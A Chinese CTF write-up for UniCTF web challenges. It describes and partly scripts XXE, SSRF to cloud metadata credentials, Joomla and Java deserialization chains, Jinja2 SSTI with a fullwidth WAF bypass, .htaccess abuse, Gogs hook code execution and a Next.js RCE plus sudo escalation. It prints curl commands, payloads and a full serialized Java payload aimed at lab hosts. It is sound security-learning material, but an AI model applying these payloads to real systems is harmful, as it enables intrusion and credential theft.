UniCTF web单方向wp
才发现哥几个都是懒勾,写脚本不写注释,下回得好好学学怎么写wp.
Web
secure doc
ai直出
解题思路(核心漏洞)
- 该站点只解析 XFA 表单(XML),/upload 接收 PDF,/download/
.txt 回显解析文本 - XFA XML 解析未禁用外部实体 → XXE 文件读取
- 通过在 XFA 中构造
<!ENTITY xxe SYSTEM "file:///flag">,即可回显 /flag 内容
Burp Suite + MCP 操作步骤(建议截图点)
- 抓包上传请求
- 打开页面上传 PDF,Burp 抓到 POST /upload 的 multipart/form-data 请求
- 截图要点:请求体包含 file 字段(PDF 二进制)
- 用 MCP 串联两步请求
- Step 1:POST /upload(携带恶意 XFA PDF)
- Step 2:GET /download/.txt
- 用正则从 Step1 响应 JSON 中提取 file_id:
- 正则示例:”file_id”:”([^”]+)”
- 截图要点:MCP 变量提取 + Step2 URL 使用变量
- 验证与取旗
- 先读 /etc/passwd 验证 XXE 可用
- 再读 /flag,返回即为 flag
- 截图要点:/download/… 响应中出现 flag
关键 XFA XXE 负载(嵌入 PDF 的 XML)
1 | <?xml version="1.0" encoding="UTF-8"?> |
cloudDiag
解题思路
- 入口在 /tasks/new 的 config_url,服务端会抓取并回显前 2KB,典型 SSRF。
- 页脚提示 “instance roles”,说明有云实例角色可取;过滤器要求元数据走 metadata 主机且端口 1338。
- 通过 http://metadata:1338/latest/meta-data/iam/security-credentials/ 拿到角色名,再取临时凭证。
- 用凭证在 /explorer 列桶与对象,clouddiag-secrets 中直接有 flag 文件。
关键步骤(Burp MCP 思路)
MCP 命令1:POST /tasks/new,config_url 指向 http://metadata:1338/latest/meta-data/iam/security-credentials/,从响应
提取角色名。MCP 命令2:POST /tasks/new,config_url 指向 http://metadata:1338/latest/meta-data/iam/security-credentials/
,
提取 AccessKeyId/SecretAccessKey/Token。MCP 命令3:POST /explorer 带上三元组,先列桶,再指定对象键读取内容。
若 MCP 不便自动提取,可手动复制值填入下一步(流程不变)。
命令示例(等效于 Burp 请求)
1) 取角色名
curl -s -b /tmp/cdiag_cookies.txt -d
‘config_url=http://metadata:1338/latest/meta-data/iam/security-credentials/&name=meta&parse_mode=auto‘
http://80-fb22f27b-435c-4337-87d8-478334f66622.challenge.ctfplus.cn/tasks/new
2) 取临时凭证(本次实测角色名)
curl -s -b /tmp/cdiag_cookies.txt -d
‘config_url=http://metadata:1338/latest/meta-data/iam/security-credentials/clouddiag-instance-
role&name=creds&parse_mode=auto’
http://80-fb22f27b-435c-4337-87d8-478334f66622.challenge.ctfplus.cn/tasks/new
3) 列桶
curl -s -b /tmp/cdiag_cookies.txt -d
‘access_key=AKIA002F193518034D3C&secret_key=d32907b3282e4e26924ce7f72dc021347d974d2fe78e4c7691e444efc208c031&session_t
oken=06bdedd4d10b4687a5dfa7afceba34d691307c4202ad463597c0ec7c175d810a’
http://80-fb22f27b-435c-4337-87d8-478334f66622.challenge.ctfplus.cn/explorer
4) 取对象
curl -s -b /tmp/cdiag_cookies.txt -d
‘access_key=AKIA002F193518034D3C&secret_key=d32907b3282e4e26924ce7f72dc021347d974d2fe78e4c7691e444efc208c031&session_t
oken=06bdedd4d10b4687a5dfa7afceba34d691307c4202ad463597c0ec7c175d810a&bucket=clouddiag-secrets&object_key=flags/
runtime/flag-0892b8c18d2546ada5362748a4e70fe4.txt’
http://80-fb22f27b-435c-4337-87d8-478334f66622.challenge.ctfplus.cn/explorer
Flag
UniCTF{2db72669-88bf-4359-b5fe-ad13810f7f50}
Bytecode Complier
解题思路
- 首页提示 /api/fetch?url=…&token=…,并且 UI 只暴露 ECHO/LEN/HASH;真正的突破点在客户端协议实现 /bundle.js。
- bundle.js 里给出了完整 packet 格式、opCode 编码和 FNV 校验。分发表有 4 个槽位(含内部诊断槽),而 flags 最高位为 1 时会走“兼
容分发”逻辑。 - 选用 opId=0(ECHO)但设置 flags=0x83(最高位为 1 + 低两位为 3),即可把分发索引打到内部诊断槽,直接拿到 token。
- 用 token 调 /api/fetch 后端去抓 /internal/flag,拿到 flag。
Burp 操作步骤(不依赖“未知 MCP”,用官方机制/最佳实践)
- 说明:我没在 Burp 官方文档里找到名为 MCP 的功能。Burp 里“多步请求/自动化”的官方能力通常是 Session handling rules +
Macros(可在 Settings > Sessions 中配置)来在发送请求前自动执行一串请求并更新参数/会话。(portswigger.net (https://
portswigger.net/burp/documentation/desktop/settings/sessions?utm_source=openai))
- 代理接入:浏览器走 Burp 代理,访问目标首页;在 Proxy history 里找到 /bundle.js,Send to Repeater。
- 协议复现:从 /bundle.js 提取 packet 格式与编码逻辑(WVLT 头、nonce、opCode 编码、FNV1a 校验)。
- 构造隐藏指令:用脚本生成一个 packet(opId=0, flags=0x83),在 Repeater 中 POST /api/vm:
- Content-Type: application/json
- Body:{“packet_b64”:”<生成的base64>”}
- 返回里会给 token。
- 后端拉取 flag:用 Repeater GET:
- /api/fetch?url=http://127.0.0.1/internal/flag&token=
- 返回 body 即 flag。
- /api/fetch?url=http://127.0.0.1/internal/flag&token=
命令示例(可直接生成 packet,配合 Burp 或 curl)
1 | // node gen.js |
示例 curl(你也可以把 base64 放进 Burp Repeater 发):
1) /api/vm
curl -s -X POST
-H ‘Content-Type: application/json’
-d ‘{“packet_b64”:”<上面脚本输出>”}’
http://80-a62269aa-3142-40ac-9145-ed2f2c20e404.challenge.ctfplus.cn/api/vm
2) /api/fetch 取 flag
curl -s
‘http://80-a62269aa-3142-40ac-9145-ed2f2c20e404.challenge.ctfplus.cn/api/fetch?url=http://127.0.0.1/internal/flag&token=you-got-me-baby-where-is-my-bytecode’
结果
- token:you-got-me-baby-where-is-my-bytecode
- flag:UniCTF{68e4ef12-b019-49c6-9a0b-ba17c6fcb7a4}
一键脚本:node 1.js url
1 | // exploit.js |
一鸣唱吧
疑似非预期,ai扫出来的,http://80-a54ecc99-5e27-4291-aa21-471cb328ae88.challenge.ctfplus.cn/uploads/UNiCTF202638.php
ezUpload
- 上传 .htaccess
- 在 Proxy 抓包上传任意文件时,改 filename=.htaccess,内容如下(不要加引号/反斜杠):
1 | Header set X-Flag expr=%{osenv:FLAG} |
- 注意:禁止字符 ? $ & ; | \ <`,上面的内容不包含这些字符,可通过。
- 触发并读取响应头
- 再上传一个普通文件(比如 a.txt),系统返回路径 /upload/a.txt
- 用 Repeater 访问 /upload/a.txt,在 Response → Headers 中看到:
X-Flag: UniCTF{sh1z1_4999857e-f8b0-40d9-9c59-05cd9c36795e}
ezUpload Revenge!!
- 上传两个基准文件
- niubi.txt 内容 niubi
- true.txt 内容 Success
- 上传 .htaccess 设置重写规则
- 当 file(‘/flag’) 以某个前缀匹配时,重写到 true.txt
- 否则返回 test.txt
- 通过请求 /upload/test.txt 观察返回内容
- Success → 前缀正确
- hello → 前缀错误
- 用前缀爆破逐字符枚举 flag。
RewriteEngine On
RewriteCond expr “file(‘/flag’) =~ m#^UniCTF[{]#”
RewriteRule ^test[.]txt true.txt [L]
1 | #!/usr/bin/env python3 |
Joomla Revenge!
核心漏洞与链子
- unser.php 对 $_POST[‘unser’] 做 base64_decode 后两次 unserialize,且黑名单只拦 WebAssetManager|HtmlDocument,可对象注入。
- 可用 POP 链(简单、稳定):
- Joomla\Database\Mysqli\MysqliDriver::__destruct()
- DatabaseDriver::disconnect() → dispatchEvent()
- Joomla\Event\Dispatcher::dispatch()
- Joomla\Event\LazyServiceEventListener::__invoke()
- Joomla\DI\Container::get() → Joomla\DI\ContainerResource::getInstance()
- ContainerResource::$factory = ‘system’,并传入可 __toString 的对象作为参数
- 这里用 Symfony\Component\String\LazyString 保存命令字符串
1 | import base64 |
然后env拿到flag
UNICTF_FLAG=UniCTF{7d991591-3c26-4429-ae21-1ad79e165959}
GlyphWeaver
- 站点是卡片渲染器(Jinja2),/api/preview 只渲染一次,不会执行变量里的模板语法。
- export 管线会二次渲染:第一次把用户输入拼进 HTML,第二次把整段 HTML 当模板再渲染 → 触发 SSTI。
- WAF 阻断
{{和__,但服务端会做 NFKC 规范化,所以用全角字符绕过 → 规范化后变回 ASCII。 - display_name 长度只有 24,不够放 payload,所以把 payload 放在 motto(最长 160)。
关键验证
1 | 1. 用全角大括号绕过 WAF:{{7*7}}(NFKC 后变成 {{7*7}}) |
最终利用(命令示例)
下面这段脚本会:构造全角 payload → 发送 /api/export → 轮询 /api/task/
1 | import json,urllib.request,time |
- Repeater 再 GET /api/task/
,在响应 HTML 的 data-motto 中取 flag。 - 全角化处理可在 Burp 中手动输入,或先用上面脚本生成后复制进 Burp。
截图说明(你可在 Burp 中截取)
- 截图1:/api/export 返回 taskId 的响应。
- 截图2:/api/task/
响应中 data-motto=”UniCTF{…}” 的位置。 - 截图3:日志里出现 normalize: NFKC applied(证明全角绕过生效)。
intrasight
拿到 flag 了:UniCTF{de004cfd-54fc-4490-a0da-772745d740a0}
解题思路(精简版)
- /fetch 是 SSRF 入口,可访问内网服务。
- 内网 admin_panel 在 127.0.0.1:8001,/redirect_ws 返回到内网 WS 的 token。
- WS 服务在 127.0.0.1:9000/ws,需要:
- Origin: http://127.0.0.1
- X-Internal-Token:
且 token 与 ?token=一致
- WS 协议支持 render 动作,模板是 Jinja2,可 SSTI 读 /flag。
关键请求(可直接复现)
- 取 token(看 JSON 的 history[0].location):
1 | curl -s "http://80-252298d6-1662-474e-bd9e-bad117d0b262.challenge.ctfplus.cn/fetch?url=http://127.0.0.1:8001/redirect_ws" |
- WS 渲染验证(49):
1 | curl -s -X POST \ |
- 读 flag:
1 | curl -s -X POST \ |
Burp Suite MCP 思路(两步链)
- Request 1:GET /fetch?url=http://127.0.0.1:8001/redirect_ws
- 用 MCP 提取 location 里的 token=…
- Request 2:POST /fetch?url=ws://127.0.0.1:9000/ws?token=
- Header:Origin: http://127.0.0.1
- Header:X-Internal-Token:
- Body:Jinja2 SSTI 模板读 /flag
ezjava
解题思路
- 反编译发现只有两个关键入口:/ 给出提示,/api/user/settings/import 处理 Base64 二进制包。
- importSettings 逻辑:readUTF 读取 identity、readInt 读取 version、随后 readObject 反序列化对象;通过 logger.info(…, obj) 触发 obj.toString()。
- ConfigDataWrapper.toString() 在 sign == “ready” 且 ClassByte != null 时,会对字节异或 0xFF 后调用 ClassLoader#defineClass,并 newInstance()。
- 利用点:构造一个 ConfigDataWrapper,塞入“异或过的 Exploit.class”,在构造函数里读取 flag,并把 flag 写进当前响应头/响应体。
Exploit.java:反射拿到 HttpServletResponse,写 X-Flag 与响应体
1 | import java.io.BufferedReader; |
MakePayloadCfg.java:构造满足 readUTF/readInt/readObject 的流
1 | import com.unictf.ctf.tools.ConfigDataWrapper; |
payload_cfg.b64:最终可直接投递的 Base64
1 | rO0ABXcVAA9JbnRlcm5hbE1hbmFnZXIAAAfpc3IAJmNvbS51bmljdGYuY3RmLnRvb2xzLkNvbmZpZ0RhdGFXcmFwcGVyAAAAAYrFIVcCAAZJAAhjaGVja3N1bUoADGxhc3RNb2RpZmllZFsACUNsYXNzQnl0ZXQAAltCTAAIY29uZmlnSWR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhtZXRhZGF0YXQAD0xqYXZhL3V0aWwvTWFwO0wABHNpZ25xAH4AAnhwAAAAAAAAAZwKRyBJdXIAAltCrPMX+AYIVOACAAB4cAAADy01AUVB////y/8m9f/9//z4//vz//r/+f7/75WeiZ7Qk56RmNCwnZWanIv+//nDlpGWi8H+//zX1qn6////////9Ef1//X/9Pj/8/P/8v/x/v/vlZ6JntCTnpGY0KuXjZqem/7/+oyTmpqP/v/717XWqfX/7//u+P/t8//s/+v+//i6h4+TkJaL/v/3jZqem7mTnpj+/+vX1rOVnome0JOekZjQrIuNlpGYxPX/6f/o+P/n8//m/+X+/++Vnome0JOekZjQrIuNlpGY/v/4loy6ko+Lhv7//NfWpff/4/7/+bGwubO+uPX/4f/g+P/f8//e/93+/++Vnome0IqLlpPQvZ6MmsnL/v/1mJqLupGckJuajf7/49fWs5WeiZ7QiouWk9C9noyaycvbupGckJuajcT2/9v/2vj/2fP/2P/X/v/elZ6JntCRlpDQnJeejYyai9Csi56Rm56Nm7yXno2MmouM/v/6qqu5oMf+/+WzlZ6JntCRlpDQnJeejYyai9C8l56NjJqLxPX/6f/V8//U/9P+//eYmou9houajP7/4dezlZ6JntCRlpDQnJeejYyai9C8l56NjJqLxNakvfX/0f/Q+P/P8//O/83+/+eVnome0IqLlpPQvZ6MmsnL27qRnJCbmo3+//GakZyQm5qrkKyLjZaRmP7/6dekvdazlZ6JntCTnpGY0KyLjZaRmMT3/8v+/8OQjZjRjI+NlpGYmY2ekpqIkI2U0YiandGckJGLmoeL0Y2ajoqajIvRrZqOipqMi7yQkYuah4u3kJObmo31/8n/yPj/x/P/xv/F/v/wlZ6JntCTnpGY0LyTnoyM/v/4mZCNsZ6Smv7/2tezlZ6JntCTnpGY0KyLjZaRmMTWs5WeiZ7Qk56RmNC8k56MjMT3/8P+/+uYmoutmo6KmoyLvouLjZadiouajPX/yf/B8//A/7/+//aYmouymouXkJv+/7/Xs5WeiZ7Qk56RmNCsi42WkZjEpLOVnome0JOekZjQvJOejIzE1rOVnome0JOekZjQjZqZk5qci9CymouXkJvE9f+9/7z4/7vz/7r/uf7/55WeiZ7Qk56RmNCNmpmTmpyL0LKai5eQm/7/+ZaRiZCUmv7/xtezlZ6JntCTnpGY0LCdlZqci8Sks5WeiZ7Qk56RmNCwnZWanIvE1rOVnome0JOekZjQsJ2VmpyLxPf/t/7/v5CNmNGMj42WkZiZjZ6SmoiQjZTRiJqd0ZyQkYuah4vRjZqOipqMi9Gsmo2Jk5qLrZqOipqMi76Li42WnYqLmoz1/8n/tfP/tP+z/v/1loy2kYyLnpGcmv7/6tezlZ6JntCTnpGY0LCdlZqci8TWpff/sf7/9Jiai62ajI+QkYya+P+v/v/slZ6JntCTnpGY0KuXjZCInp2Tmvf/rf7/0JCNmNGej56cl5rRnJ6LnpOWkZ7RnJCNmtG+j4+Tlpyei5aQkbmWk4uajbyXnpaR9/+r/v/omJqLs56Mi6yajYmWnJqbrZqMj5CRjJr4/6n+/+CVnome0JOekZjQsZCsipyXspqLl5Cbuoecmo+LlpCR9/+n/v/rk56Mi6yajYmWnJqbrZqMj5CRjJr1/8n/pfP/pP+j/v/vmJqLu5qck56Nmpu5lpqTm/7/0tezlZ6JntCTnpGY0KyLjZaRmMTWs5WeiZ7Qk56RmNCNmpmTmpyL0LmWmpObxPX/of+g+P+f8/+e/53+/+iVnome0JOekZjQjZqZk5qci9C5lpqTm/7/8oyai76cnJqMjJadk5r+//vXpdap9f+h/5vz/5r/mf7//Jiai/7/2dezlZ6JntCTnpGY0LCdlZqci8TWs5WeiZ7Qk56RmNCwnZWanIvE+P+X/v/qlZ6JntCTnpGY0KuXjZqem7OQnJ6T9f+Y/5Xz/5r/lP7/69fWs5WeiZ7Qk56RmNCwnZWanIvE9/+S/v/ZlZ6JnofRjJqNiZOai9GXi4uP0beLi4+smo2Jk5qLrZqMj5CRjJr3/5D+//aMmou3mp6bmo33/47+//mn0rmTnpj3/4z+//Wn0rmTnpjSvcnL9/+K/v/ilZ6JnofRjJqNiZOai9Gsmo2Jk5qLrZqMj5CRjJr3/4j+//aYmouojZaLmo31//3/hvP/hf+E/v/3mJqLvJOejIz+/+zX1rOVnome0JOekZjQvJOejIzE9/+C/v/6iI2Wi5r4/4D+/+iVnome0JOekZjQrIuNlpGYvYqWk5uajfX/gf/89/99/v/6ubO+uMX1/4H/e/P/ev95/v/5no+PmpGb/v/S17OVnome0JOekZjQrIuNlpGYxNazlZ6JntCTnpGY0KyLjZaRmL2KlpObmo3E9/93/v/+9fX/gf918/90/+v+//eLkKyLjZaRmPf/cv7/+pmTioyX9/9w/v/60JmTnpj3/27+//bQmZOemNGLh4v3/2z+//bQno+P0JmTnpj3/2r+//LQno+P0JmTnpjRi4eL9/9o/v/x0JeQkprQnIuZ0JmTnpj3/2b+/+3Ql5CSmtCci5nQmZOemNGLh4v4/2T+//OVnome0JaQ0LmWk5r1/2X/YvP/+v9h/v/q17OVnome0JOekZjQrIuNlpGYxNap9f9l/1/z/17/5f7/+ZqHloyLjPX/Zf9c8/9b/+X+//mWjLmWk5r4/1n+/+mVnome0JaQ0L2KmZmajZqbrZqem5qN+P9X/v/mlZ6JntCWkNC2kY+Ki6yLjZqekq2anpuajfj/Vf7/6JWeiZ7QlpDQuZaTmraRj4qLrIuNmp6S9f9W/1Pz//r/Uv7/7tezlZ6JntCWkNC5lpOaxNap9f9Y/1Dz//r/T/7/zdezlZ6JntCWkNC2kY+Ki6yLjZqeksSzlZ6JntCRlpDQnJeejYyai9C8l56NjJqLxNap9f9a/03z//r/TP7/7NezlZ6JntCWkNCtmp6bmo3E1qn1/1r/SvP/Sf/r/v/3jZqem7OWkZr1/1r/R/P/Rv/5/v/6nJOQjJr1/7D/RPP/Q/9C/v/ynpubrIqPj42ajIyam/7/59ezlZ6JntCTnpGY0KuXjZCInp2TmsTWqfj/QP7/7JWeiZ7Qk56RmNC6h5yaj4uWkJH3/z7+//u5s7649f88/zv4/zrz/zn/OP7/75WeiZ7Qk56RmNCshoyLmpL+//mYmouakYn+/9nXs5WeiZ7Qk56RmNCsi42WkZjE1rOVnome0JOekZjQrIuNlpGYxPf/Nv7/+5mTnpj1/zz/NPP/M/84/v/0mJqLr42Qj5qNi4b3/zH+///+//u8kJua/v/ws5aRmrGKkp2ajauenZOa/v/yrIuenJSyno+rnp2Tmv7/9bqHnJqPi5aQkYz4/yv+/+yks5WeiZ7Qk56RmNCsi42WkZjE/v/1rJCKjZyauZaTmv7/87qHj5OQlovRlZ6Jnv7/87aRkZqNvJOejIyajP7/+LqRnJCbmo3/3v/v//3///////3//v/6//n//f8w///9G//4//f///5h1Uj//uv/+Ef/9tVI//Cz1Dn/9dRJ/+pm//nt5LNH/+LUTf/cSf/WSf/Ssv6x7cxH/8rF++b77cT8Qv/JSf/C/vxC//1J/77F+ub6Of/W7bhH/8rF+eb55vpJ/7Zm/+fm+e2y/EL/yUn/wub6/EL//Un/vrFY//rF+9I4/6/trkf/ysX75vvtrPxC/8lJ/8L+/EL//Un/vrFY/9LF+ub77ahJ/6bF+eb5+0n/oub5/kn/nMX45vg+/5hm//Pm+D//mEn/lrFY//rF+9I5/zHtk0f/ysX75vvtkfpC/8mm/O3prKb77emsSf/C0vpC//2m/O2PrKb71KxJ/76o5vvtkfpC/8mm/O3prKb77emsSf/C0vpC//2m/O2NrKb706xJ/76oWP/6xfvti0f/ysX75vvtifxC/8lJ/8LS/EL//Un/vsX65vpJ/4ftg/tC/8mm/O3prEn/wub6+0L//ab8RP+Bpkj/f+1+Sf981En/fO14Sf98Sf92rEn/vqjm+kn/h+1z/EL/yUn/wub6/EL//Un/vqhY//rF+1j/+7JO//n/0v+L/4j/sP97/2f/ZP+q/4L/Ov83/7D/Mf7c/tn/sP7X/mv+aP+w/+L+Zv5j/7D//f8v////Vf/V////9v/7//X/9f/0//D/8//l//L/4v/u/9T/7f/S/+n/y//o/7b/5/+x/+b/qv/l/6D/5P+L/+D/iP/h/4b/3f+C/9v/e//Z/2f/0f9k/9j/Yv/X/1n/1v9T/9X/S//U/0P/0/86/8//N//Q/zX/zP8x/8r/Kv/J/wP/yP7c/8b+2f/H/tf/xP7Q/8P+u//C/oP/wf5r/7/+aP/A/mb/vP5j/73+Yv+7/y7///+r//AA/+X//fj/7/j/6f///QL/qfj/6fj//b34/7D+AP/e//r4/+/4/+n4/+n4//34/8n//vj/qgX/1r34/7D+CP+k+P+w/gj/kfj/sAb//r34/7D//y3////7//7/Qf/9/+z/6//+/zD///4f//j/9f///xvv+UL/6ab87XGspvvtb6ym+u1trKb57Wuspvjtaaym9+1nrLPUstNBwfzJ++r74l3/c9Pq+83F+kT/Zabm+kj/Y8X55vlJ/2Bm//Tm+Un/XWX/+Vj/nUT/WqZE/1imRP9Wpub5SP9UTf/cSP9RSP9Oxfjm+En/S8X35vc5/+jm90n/6mX/8Ob3xfbm+En/SOb2T+b4Sf9IWP/mxffm+En/SFj/88X25vfm9kn/Reb3QFj/+sX5e/v+WACL7T9H/z2y0zn/89NJ/+pl//rTT+03R/81stM5//PTSf/qZf/600/tMk//+v+N/3X/Zf+w/2P/Xv9b/7D/x/+s/0z/Qf+p/3D/TP9B/23/T/9M/0H//f8v////of/o////uP/b/6//x/+t/7z/rP+s/6v/qf+p/43/qP+G/6f/ef+m/3X/pP9w/6b/bf+k/2X/qf9P/6L/TP+j/0r/r/9E/5//Pv+e/zP/nf8x/5v/K/+a/yD/mf8e/5f/Lv///6H/8gD/0//6+P/v+P8s+P8s/v7//wL/2fj/6fj/Zf0D/8T4/1q4+P+wAP/2//b4/+/4/yz4/yz+/vj/6fj/Zfj/Wvj/sP/++P+w9wf//b34/0EF//4H//oD/+34/+nt//3/Kv////3/Kf8o////9f/+/9H/4f8n//Z0AAlDT05GLTIwMjVzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQAB2NyZWF0b3J0AA9JbnRlcm5hbE1hbmFnZXJ4dAAFcmVhZHk= |
关键命令示例
1 | # 编译 payload(目标 JVM 不确定,使用 --release 8 兼容) |
响应里包含:
1 | X-Flag: UniCTF{sh1z1-51b7cedc-a471-47a3-8918-7c0f88daff68} FLAG:UniCTF{sh1z1-51b7cedc-a471- |
gogogos
解题思路(简要)
- 站点是 Gogs,默认账号弱口令 ctf/ctf,且是管理员。
- 管理员可在仓库 Git Hooks 写入 post-receive 脚本(服务器执行)。
- 触发一次 push → hook 执行 → 输出 env(含 FLAG)到仓库文件。
- 访问 raw 文件拿到 flag。
操作步骤(Burp + MCP 也可复现)
- 登录
- GET /user/login 抓取 _csrf
- POST /user/login
- 表单:user_name=ctf&password=ctf&_csrf=…
- 记得同时带 Cookie:_csrf=<同值>
- 创建仓库(如 test)
- GET /repo/create 取 _csrf
- POST /repo/create(repo_name=test&private=on&auto_init=on&_csrf=…)
- 写入 Git Hook
- 进入:/ctf/test/settings/hooks/git/post-receive
- POST 同路径,提交 content 为脚本:
#!/bin/sh
GIT_DIR=”$(pwd)”
WT=$(mktemp -d)
git –git-dir=”$GIT_DIR” –work-tree=”$WT” checkout -f master
|| git –git-dir=”$GIT_DIR” –work-tree=”$WT” checkout -f -b master
env | sort > “$WT/flag_dump.txt”
git –git-dir=”$GIT_DIR” –work-tree=”$WT” add flag_dump.txt
git –git-dir=”$GIT_DIR” –work-tree=”$WT” -c user.name=ctf -c user.email=ctf@local commit -m “dump env” || true
- 触发 hook(push 一次即可)
git clone http://ctf:ctf@3000-eb2121d4-0ac0-4437-9393-f2b8241be540.challenge.ctfplus.cn/ctf/test.git
cd test
echo trigger >> trigger.txt
git add trigger.txt
git commit -m trigger
git push
- 读取 flag
- 访问:/ctf/test/raw/master/flag_dump.txt
- 文件里能看到:
FLAG=UniCTF{5550e4b6-8692-4f8f-b93b-3e8654251baf}
命令示例(可选)
- 直接 curl raw(带 basic auth):
1 | curl -u ctf:ctf \ |
miowaf
开局是打有过滤的cve-2025-55182,github找到一个仓库https://github.com/ynsmroztas/NextRce
牛逼队友直接写了个脚本
1 | #!/usr/bin/env python3 |
上去发现/flag读不了,看见400,需要提权,发现sudo版本是1.9.15,可以打CVE-2025-32463,但是好像编译不了?(),直接在自己机器上编译好,调用python3分段解密base64成so即可。
后续发现有gcc,但当时确实传的一键利用脚本没跑起来,靶机关了现在也复现不了,有点可惜。